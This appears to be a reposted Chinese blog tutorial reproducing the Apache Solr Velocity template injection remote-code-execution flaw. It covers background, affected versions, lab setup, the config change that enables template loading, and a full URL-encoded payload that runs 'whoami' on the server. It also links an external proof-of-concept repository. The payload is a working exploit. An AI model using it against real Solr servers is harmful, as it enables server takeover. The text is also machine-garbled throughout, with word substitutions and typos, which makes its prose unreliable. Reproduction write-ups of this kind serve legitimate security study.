hi,你好!欢迎访问本站!登录
本站由网站地图腾讯云宝塔系统阿里云强势驱动
当前位置:首页 - 教程 - 杂谈 - 正文 君子好学,自强不息!

Apache Solr Velocity模板注入RCE破绽复现

2019-11-18杂谈搜奇网38°c
A+ A-

Apache Solr Velocity模板注入RCE破绽复现

一、Apache Solr引见

Solr是一个自力的企业级搜刮运用服务器,它对外供应相似于web-service的API接口,用户能够经由过程http要求,向搜刮引擎服务器提交肯定花样的XML文件,生成索引,也能够经由过程http get操纵提出查找要求,并获得XML花样的返回效果。

二、破绽形貌

Solr中存在VelocityResponseWriter组件,进击者能够组织特定要求修正相干设置,使VelocityResponseWriter组件许可加载指定模板,进而致使Velocity模版注入长途敕令实行破绽,进击者运用该破绽能够直接获取到服务器权限。

破绽发生缘由:

当进击者能够直接接见Solr掌握台时,能够经由过程发送相似/节点名/config的POST要求对该节点的设置文件做变动Apache Solr默许集成VelocityResponseWriter插件,在该插件的初始化参数中的params.resource.loader.enabled这个选项是用来掌握是不是许可参数资本加载器在Solr要求参数中指定模板,默许设置是false。当设置params.resource.loader.enabled为ture时,将许可用户经由过程设置要求中的参数来指定相干资本加载,这也就意味着进击者能够经由过程组织一个具有要挟的进击要求,在服务器上举行敕令实行。

三、破绽影响版本

Apache Solr 5.x - 8.2.0,存在config API版本

四、破绽环境搭建

1、 装置java环境

  

2、下载Apache Solr 8.2.0,下载地点: https://www.apache.org/dyn/closer.lua/lucene/solr/8.2.0/solr-8.2.0.zip

3、解压然后进入bin目次实行solr.cmd start

  

4、浏览器接见192.168.10.171:8983,环境搭建胜利

  

五、破绽复现

1、重新启动,再次接见192.168.10.171:8983/solr发明没有建立core, 先手动在/server/solr/目次下建立一个test的文件夹,然后将/server/solr/configsets/_default/下的conf目次拷贝到test目次下

  

 

   

2、然后根据以下图所示建立一个名为test的core

  

3、然后接见检察该运用config文件是不是能够接见

  

4、Apache Solr默许集成VelocityResponseWriter插件,该插件初始化参数中的params.resource.loader.enabled默许值设置为false,然则能够经由过程POST要求直接修正鸠合设置,将其设置为true,然后就能够组织特别的GET要求来完成长途代码实行。

  

5、接下来我们就能够组织payload来完成RCE

Payload以下:

/select?q=1&&wt=velocity&v.template=custom&v.template.custom=%23set($x=%27%27)+%23set($rt=$x.class.forName(%27java.lang.Runtime%27))+%23set($chr=$x.class.forName(%27java.lang.Character%27))+%23set($str=$x.class.forName(%27java.lang.String%27))+%23set($ex=$rt.getRuntime().exec(%27whoami%27))+$ex.waitFor()+%23set($out=$ex.getInputStream())+%23foreach($i+in+[1..$out.available()])$str.valueOf($chr.toChars($out.read()))%23end

  

 

 

 

 

-----------------------------------------------------------------------------------------------------

参考:

POC地点: https://github.com/wyzxxz/Apache_Solr_RCE_via_Velocity_template

  选择打赏方式
微信赞助

打赏

QQ钱包

打赏

支付宝赞助

打赏

  移步手机端
Apache Solr Velocity模板注入RCE破绽复现

1、打开你手机的二维码扫描APP
2、扫描左则的二维码
3、点击扫描获得的网址
4、可以在手机端阅读此文章
未定义标签

本文来源:搜奇网

本文地址:https://www.sou7.cn/282250.html

关注我们:微信搜索“搜奇网”添加我为好友

版权声明: 本文仅代表作者个人观点,与本站无关。其原创性以及文中陈述文字和内容未经本站证实,对本文以及其中全部或者部分内容、文字的真实性、完整性、及时性本站不作任何保证或承诺,请读者仅作参考,并请自行核实相关内容。请记住本站网址https://www.sou7.cn/搜奇网。

发表评论

选填

必填

必填

选填

请拖动滑块解锁
>>